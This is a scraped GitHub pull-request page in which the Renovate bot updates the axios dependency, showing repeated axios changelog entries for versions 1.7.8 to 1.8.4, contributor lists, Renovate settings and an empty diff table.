- **http-adapter:** add allowAbsoluteUrls to path building
([#​6810](https://redirect.github.com/axios/axios/issues/6810))
([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/14166260?v=4&s=18"
alt="avatar" width="18"/> [Fasoro-Joseph
Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#​6810
)")
####
[1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1)
(2025-02-26)
##### Bug Fixes
- **utils:** move `generateString` to platform utils to avoid importing
crypto module into client builds;
([#​6789](https://redirect.github.com/axios/axios/issues/6789))
([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47
(#​6789 )")
###
[`v1.8.2`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2)
##### Bug Fixes
- **core:** fix the Axios constructor implementation to treat the config
argument as optional;
([#​6881](https://redirect.github.com/axios/axios/issues/6881))
([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983))
- **fetch:** fixed ERR\_NETWORK mapping for Safari browsers;
([#​6767](https://redirect.github.com/axios/axios/issues/6767))
([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45))
- **headers:** allow iterable objects to be a data source for the set
method;
([#​6873](https://redirect.github.com/axios/axios/issues/6873))
([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc))
- **headers:** fix `getSetCookie` by using 'get' method for caseless
access;
([#​6874](https://redirect.github.com/axios/axios/issues/6874))
([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9))
- **headers:** fixed support for setting multiple header values from an
iterated source;
([#​6885](https://redirect.github.com/axios/axios/issues/6885))
([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15))
- **http:** send minimal end multipart boundary
([#​6661](https://redirect.github.com/axios/axios/issues/6661))
([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc))
- **types:** fix autocomplete for adapter config
([#​6855](https://redirect.github.com/axios/axios/issues/6855))
([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0))
##### Features
- **AxiosHeaders:** add getSetCookie method to retrieve set-cookie
headers values
([#​5707](https://redirect.github.com/axios/axios/issues/5707))
([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34
(#​6890 #​6889 #​6888 #​6885 #​6881
#​6767 #​6874 #​6873 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+26/-1 ()")
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+21/-0
(#​5707 )")
- <img
src="https://avatars.githubusercontent.com/u/2500247?v=4&s=18"
alt="avatar" width="18"/> [George
Cheng](https://redirect.github.com/Gerhut "+3/-3 (#​5096 )")
- <img
src="https://avatars.githubusercontent.com/u/30260221?v=4&s=18"
alt="avatar" width="18"/>
[FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#​6855
)")
- <img
src="https://avatars.githubusercontent.com/u/49002?v=4&s=18"
alt="avatar" width="18"/> [Ionuț G.
Stan](https://redirect.github.com/igstan "+1/-1 (#​6661 )")
####
[1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4)
(2025-03-19)
##### Bug Fixes
- **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL`
([#​6833](https://redirect.github.com/axios/axios/issues/6833))
([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#​6833 )")
####
[1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3)
(2025-03-10)
##### Bug Fixes
- add missing type for allowAbsoluteUrls
([#​6818](https://redirect.github.com/axios/axios/issues/6818))
([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2))
- **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr`
and `fetch` adapters
([#​6814](https://redirect.github.com/axios/axios/issues/6814))
([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/3238291?v=4&s=18"
alt="avatar" width="18"/> [Ashcon
Partovi](https://redirect.github.com/Electroid "+6/-0 (#​6811 )")
- <img
src="https://avatars.githubusercontent.com/u/28559054?v=4&s=18"
alt="avatar" width="18"/>
[StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#​6818
)")
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#​6814 )")
####
[1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2)
(2025-03-07)
##### Bug Fixes
- **http-adapter:** add allowAbsoluteUrls to path building
([#​6810](https://redirect.github.com/axios/axios/issues/6810))
([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/14166260?v=4&s=18"
alt="avatar" width="18"/> [Fasoro-Joseph
Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#​6810
)")
####
[1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1)
(2025-02-26)
##### Bug Fixes
- **utils:** move `generateString` to platform utils to avoid importing
crypto module into client builds;
([#​6789](https://redirect.github.com/axios/axios/issues/6789))
([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47
(#​6789 )")
###
[`v1.8.1`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1)
##### Bug Fixes
- **core:** fix the Axios constructor implementation to treat the config
argument as optional;
([#​6881](https://redirect.github.com/axios/axios/issues/6881))
([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983))
- **fetch:** fixed ERR\_NETWORK mapping for Safari browsers;
([#​6767](https://redirect.github.com/axios/axios/issues/6767))
([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45))
- **headers:** allow iterable objects to be a data source for the set
method;
([#​6873](https://redirect.github.com/axios/axios/issues/6873))
([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc))
- **headers:** fix `getSetCookie` by using 'get' method for caseless
access;
([#​6874](https://redirect.github.com/axios/axios/issues/6874))
([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9))
- **headers:** fixed support for setting multiple header values from an
iterated source;
([#​6885](https://redirect.github.com/axios/axios/issues/6885))
([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15))
- **http:** send minimal end multipart boundary
([#​6661](https://redirect.github.com/axios/axios/issues/6661))
([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc))
- **types:** fix autocomplete for adapter config
([#​6855](https://redirect.github.com/axios/axios/issues/6855))
([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0))
##### Features
- **AxiosHeaders:** add getSetCookie method to retrieve set-cookie
headers values
([#​5707](https://redirect.github.com/axios/axios/issues/5707))
([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34
(#​6890 #​6889 #​6888 #​6885 #​6881
#​6767 #​6874 #​6873 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+26/-1 ()")
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+21/-0
(#​5707 )")
- <img
src="https://avatars.githubusercontent.com/u/2500247?v=4&s=18"
alt="avatar" width="18"/> [George
Cheng](https://redirect.github.com/Gerhut "+3/-3 (#​5096 )")
- <img
src="https://avatars.githubusercontent.com/u/30260221?v=4&s=18"
alt="avatar" width="18"/>
[FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#​6855
)")
- <img
src="https://avatars.githubusercontent.com/u/49002?v=4&s=18"
alt="avatar" width="18"/> [Ionuț G.
Stan](https://redirect.github.com/igstan "+1/-1 (#​6661 )")
####
[1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4)
(2025-03-19)
##### Bug Fixes
- **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL`
([#​6833](https://redirect.github.com/axios/axios/issues/6833))
([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#​6833 )")
####
[1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3)
(2025-03-10)
##### Bug Fixes
- add missing type for allowAbsoluteUrls
([#​6818](https://redirect.github.com/axios/axios/issues/6818))
([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2))
- **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr`
and `fetch` adapters
([#​6814](https://redirect.github.com/axios/axios/issues/6814))
([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/3238291?v=4&s=18"
alt="avatar" width="18"/> [Ashcon
Partovi](https://redirect.github.com/Electroid "+6/-0 (#​6811 )")
- <img
src="https://avatars.githubusercontent.com/u/28559054?v=4&s=18"
alt="avatar" width="18"/>
[StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#​6818
)")
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#​6814 )")
####
[1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2)
(2025-03-07)
##### Bug Fixes
- **http-adapter:** add allowAbsoluteUrls to path building
([#​6810](https://redirect.github.com/axios/axios/issues/6810))
([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/14166260?v=4&s=18"
alt="avatar" width="18"/> [Fasoro-Joseph
Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#​6810
)")
####
[1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1)
(2025-02-26)
##### Bug Fixes
- **utils:** move `generateString` to platform utils to avoid importing
crypto module into client builds;
([#​6789](https://redirect.github.com/axios/axios/issues/6789))
([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47
(#​6789 )")
###
[`v1.8.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#180-2025-02-25)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.7.9...v1.8.0)
##### Bug Fixes
- **examples:** application crashed when navigating examples in browser
([#​5938](https://redirect.github.com/axios/axios/issues/5938))
([1260ded](https://redirect.github.com/axios/axios/commit/1260ded634ec101dd5ed05d3b70f8e8f899dba6c))
- missing word in SUPPORT_QUESTION.yml
([#​6757](https://redirect.github.com/axios/axios/issues/6757))
([1f890b1](https://redirect.github.com/axios/axios/commit/1f890b13f2c25a016f3c84ae78efb769f244133e))
- **utils:** replace getRandomValues with crypto module
([#​6788](https://redirect.github.com/axios/axios/issues/6788))
([23a25af](https://redirect.github.com/axios/axios/commit/23a25af0688d1db2c396deb09229d2271cc24f6c))
##### Features
- Add config for ignoring absolute URLs
([#​5902](https://redirect.github.com/axios/axios/issues/5902))
([#​6192](https://redirect.github.com/axios/axios/issues/6192))
([32c7bcc](https://redirect.github.com/axios/axios/commit/32c7bcc0f233285ba27dec73a4b1e81fb7a219b3))
##### Reverts
- Revert "chore: expose fromDataToStream to be consumable
([#​6731](https://redirect.github.com/axios/axios/issues/6731))"
([#​6732](https://redirect.github.com/axios/axios/issues/6732))
([1317261](https://redirect.github.com/axios/axios/commit/1317261125e9c419fe9f126867f64d28f9c1efda)),
closes
[#​6731](https://redirect.github.com/axios/axios/issues/6731)
[#​6732](https://redirect.github.com/axios/axios/issues/6732)
##### BREAKING CHANGES
- code relying on the above will now combine the URLs instead of prefer
request URL
- feat: add config option for allowing absolute URLs
- fix: add default value for allowAbsoluteUrls in buildFullPath
- fix: typo in flow control when setting allowAbsoluteUrls
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/7661715?v=4&s=18"
alt="avatar" width="18"/> [Michael
Toscano](https://redirect.github.com/GethosTheWalrus "+42/-8
(#​6192 )")
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+26/-3
(#​6788 #​6777 )")
- <img
src="https://avatars.githubusercontent.com/u/72578270?v=4&s=18"
alt="avatar" width="18"/> [Naron](https://redirect.github.com/naronchen
"+27/-0 (#​5901 )")
- <img
src="https://avatars.githubusercontent.com/u/47430686?v=4&s=18"
alt="avatar" width="18"/> [shravan ||
श्रvan](https://redirect.github.com/shravan20 "+7/-3 (#​6116 )")
- <img
src="https://avatars.githubusercontent.com/u/145078271?v=4&s=18"
alt="avatar" width="18"/> [Justin
Dhillon](https://redirect.github.com/justindhillon "+0/-7 (#​6312
)")
- <img
src="https://avatars.githubusercontent.com/u/30925732?v=4&s=18"
alt="avatar" width="18"/> [yionr](https://redirect.github.com/yionr
"+5/-1 (#​6129 )")
- <img
src="https://avatars.githubusercontent.com/u/534166?v=4&s=18"
alt="avatar" width="18"/> [Shin'ya
Ueoka](https://redirect.github.com/ueokande "+3/-3 (#​5935 )")
- <img
src="https://avatars.githubusercontent.com/u/33569?v=4&s=18"
alt="avatar" width="18"/> [Dan
Dascalescu](https://redirect.github.com/dandv "+3/-3 (#​5908
#​6757 )")
- <img
src="https://avatars.githubusercontent.com/u/16476523?v=4&s=18"
alt="avatar" width="18"/> [Nitin
Ramnani](https://redirect.github.com/NitinRamnani "+2/-2 (#​5938
)")
- <img
src="https://avatars.githubusercontent.com/u/152275799?v=4&s=18"
alt="avatar" width="18"/> [Shay
Molcho](https://redirect.github.com/shaymolcho "+2/-2 (#​6770 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+0/-3 (#​6732 )")
- fancy45daddy
- <img
src="https://avatars.githubusercontent.com/u/127725897?v=4&s=18"
alt="avatar" width="18"/> [Habip
Akyol](https://redirect.github.com/habipakyol "+1/-1 (#​6030 )")
- <img
src="https://avatars.githubusercontent.com/u/54869395?v=4&s=18"
alt="avatar" width="18"/> [Bailey
Lissington](https://redirect.github.com/llamington "+1/-1 (#​6771
)")
- <img
src="https://avatars.githubusercontent.com/u/14969290?v=4&s=18"
alt="avatar" width="18"/> [Bernardo da Eira
Duarte](https://redirect.github.com/bernardoduarte "+1/-1 (#​6480
)")
- <img
src="https://avatars.githubusercontent.com/u/117800149?v=4&s=18"
alt="avatar" width="18"/> [Shivam
Batham](https://redirect.github.com/Shivam-Batham "+1/-1 (#​5949
)")
- <img
src="https://avatars.githubusercontent.com/u/67861627?v=4&s=18"
alt="avatar" width="18"/> [Lipin
Kariappa](https://redirect.github.com/lipinnnnn "+1/-1 (#​5936 )")
####
[1.7.9](https://redirect.github.com/axios/axios/compare/v1.7.8...v1.7.9)
(2024-12-04)
##### Reverts
- Revert "fix(types): export CJS types from ESM
([#​6218](https://redirect.github.com/axios/axios/issues/6218))"
([#​6729](https://redirect.github.com/axios/axios/issues/6729))
([c44d2f2](https://redirect.github.com/axios/axios/commit/c44d2f2316ad289b38997657248ba10de11deb6c)),
closes
[#​6218](https://redirect.github.com/axios/axios/issues/6218)
[#​6729](https://redirect.github.com/axios/axios/issues/6729)
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+596/-108 (#​6729 )")
####
[1.7.8](https://redirect.github.com/axios/axios/compare/v1.7.7...v1.7.8)
(2024-11-25)
##### Bug Fixes
- allow passing a callback as paramsSerializer to buildURL
([#​6680](https://redirect.github.com/axios/axios/issues/6680))
([eac4619](https://redirect.github.com/axios/axios/commit/eac4619fe2e0926e876cd260ee21e3690381dbb5))
- **core:** fixed config merging bug
([#​6668](https://redirect.github.com/axios/axios/issues/6668))
([5d99fe4](https://redirect.github.com/axios/axios/commit/5d99fe4491202a6268c71e5dcc09192359d73cea))
- fixed width form to not shrink after 'Send Request' button is clicked
([#​6644](https://redirect.github.com/axios/axios/issues/6644))
([7ccd5fd](https://redirect.github.com/axios/axios/commit/7ccd5fd42402102d38712c32707bf055be72ab54))
- **http:** add support for File objects as payload in http adapter
([#​6588](https://redirect.github.com/axios/axios/issues/6588))
([#​6605](https://redirect.github.com/axios/axios/issues/6605))
([6841d8d](https://redirect.github.com/axios/axios/commit/6841d8d18ddc71cc1bd202ffcfddb3f95622eef3))
- **http:** fixed proxy-from-env module import
([#​5222](https://redirect.github.com/axios/axios/issues/5222))
([12b3295](https://redirect.github.com/axios/axios/commit/12b32957f1258aee94ef859809ed39f8f88f9dfa))
- **http:** use `globalThis.TextEncoder` when available
([#​6634](https://redirect.github.com/axios/axios/issues/6634))
([df956d1](https://redirect.github.com/axios/axios/commit/df956d18febc9100a563298dfdf0f102c3d15410))
- ios11 breaks when build
([#​6608](https://redirect.github.com/axios/axios/issues/6608))
([7638952](https://redirect.github.com/axios/axios/commit/763895270f7b50c7c780c3c9807ae8635de952cd))
- **types:** add missing types for mergeConfig function
([#​6590](https://redirect.github.com/axios/axios/issues/6590))
([00de614](https://redirect.github.com/axios/axios/commit/00de614cd07b7149af335e202aef0e076c254f49))
- **types:** export CJS types from ESM
([#​6218](https://redirect.github.com/axios/axios/issues/6218))
([c71811b](https://redirect.github.com/axios/axios/commit/c71811b00f2fcff558e4382ba913bdac4ad7200e))
- updated stream aborted error message to be more clear
([#​6615](https://redirect.github.com/axios/axios/issues/6615))
([cc3217a](https://redirect.github.com/axios/axios/commit/cc3217a612024d83a663722a56d7a98d8759c6d5))
- use URL API instead of DOM to fix a potential vulnerability warning;
([#​6714](https://redirect.github.com/axios/axios/issues/6714))
([0a8d6e1](https://redirect.github.com/axios/axios/commit/0a8d6e19da5b9899a2abafaaa06a75ee548597db))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/779047?v=4&s=18"
alt="avatar" width="18"/> [Remco
Haszing](https://redirect.github.com/remcohaszing "+108/-596
(#​6218 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+281/-19 (#​6640 #​6619 )")
- <img
src="https://avatars.githubusercontent.com/u/140250471?v=4&s=18"
alt="avatar" width="18"/> [Aayush
Yadav](https://redirect.github.com/aayushyadav020 "+124/-111
(#​6617 )")
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+12/-65
(#​6714 )")
- <img
src="https://avatars.githubusercontent.com/u/479715?v=4&s=18"
alt="avatar" width="18"/> [Ell
Bradshaw](https://redirect.github.com/cincodenada "+29/-0 (#​6489
)")
- <img
src="https://avatars.githubusercontent.com/u/60218780?v=4&s=18"
alt="avatar" width="18"/> [Amit
Saini](https://redirect.github.com/amitsainii "+13/-3 (#​5237 )")
- <img
src="https://avatars.githubusercontent.com/u/19817867?v=4&s=18"
alt="avatar" width="18"/> [Tommaso
Paulon](https://redirect.github.com/guuido "+14/-1 (#​6680 )")
- <img
src="https://avatars.githubusercontent.com/u/63336443?v=4&s=18"
alt="avatar" width="18"/> [Akki](https://redirect.github.com/Aakash-Rana
"+5/
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone Europe/Paris, Automerge
- At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/SocialGouv/vao).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMjcuMyIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->1 file changed
Lines changed: 9 additions & 8 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
6144 | 6144 | | |
6145 | 6145 | | |
6146 | 6146 | | |
6147 | | - | |
6148 | | - | |
6149 | | - | |
| 6147 | + | |
| 6148 | + | |
| 6149 | + | |
6150 | 6150 | | |
6151 | 6151 | | |
6152 | | - | |
| 6152 | + | |
6153 | 6153 | | |
6154 | 6154 | | |
6155 | 6155 | | |
| |||
8924 | 8924 | | |
8925 | 8925 | | |
8926 | 8926 | | |
8927 | | - | |
8928 | | - | |
8929 | | - | |
8930 | | - | |
| 8927 | + | |
| 8928 | + | |
| 8929 | + | |
| 8930 | + | |
8931 | 8931 | | |
8932 | 8932 | | |
8933 | 8933 | | |
8934 | 8934 | | |
| 8935 | + | |
8935 | 8936 | | |
8936 | 8937 | | |
8937 | 8938 | | |
| |||
0 commit comments